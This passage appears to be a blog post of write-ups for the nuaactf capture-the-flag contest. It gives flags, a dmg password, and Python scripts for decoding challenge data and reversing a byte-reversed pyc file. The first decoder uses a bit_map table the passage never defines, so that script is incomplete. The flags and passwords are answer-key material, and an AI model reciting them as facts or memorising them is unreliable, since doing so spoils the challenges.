check = [190, 116, 48, 48, 176, 124, 188, 242, 42, 48, 48, 16, 98, 182, 116, 230, 164, 88, 124, 230, 80, 124, 16, 118]
right_answer = 8


def bit_detrans(num):
    tmp_u = 0
    for i in range(8):
        tmp = (num >> i) & 0x1
        tmp_u |= (tmp << bit_map[i])
    return tmp_u


tmp = [each ^ right_answer for each in check]
ans = [chr(bit_detrans(each)) for each in tmp]
print(''.join(ans))  # nuaactf{Haa!You_G0t_1t!}

Misc

签到题

打开即送flag

fs

apfs

dmg末尾给了12位的密码Xmas3?theme3

直接打开dmg得到flag.txt

rev

pyc

with open('rev', 'rb') as f1:
    with open('genflag', 'wb') as f2:
        f2.write(f1.read()[::-1])

得到genflag后,modu1e需要改为module

用uncompyle6

uncompyle6 -o . genflag

参考enc写dec

def enc():
    flag = r'To make it more difficult to calculate the flag by hand, nuaactf{py_uncompyle}, flag is for scripts'
    [print('{:x}'.format(ord(each)+0x32), end='l') for each in flag]
    print()
def dec():
    enc_flag = '86la1l52l9fl93l9dl97l52l9bla6l52l9fla1la4l97l52l96l9bl98l98l9bl95la7l9ela6l52la6la1l52l95l93l9el95la7l9el93la6l97l52la6l9al97l52l98l9el93l99l52l94labl52l9al93la0l96l5el52la0la7l93l93l95la6l98ladla2labl91la7la0l95la1l9fla2labl9el97lafl5el52l98l9el93l99l52l9bla5l52l98la1la4l52la5l95la4l9bla2la6la5l'
    enc_flag = enc_flag[:-1].split('l')
    for each in enc_flag:
        print(chr(int(each, 16)-0x32), end='')
    print()
enc()
dec()

得到flag

plot

g-code plot

https://ncviewer.com/

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy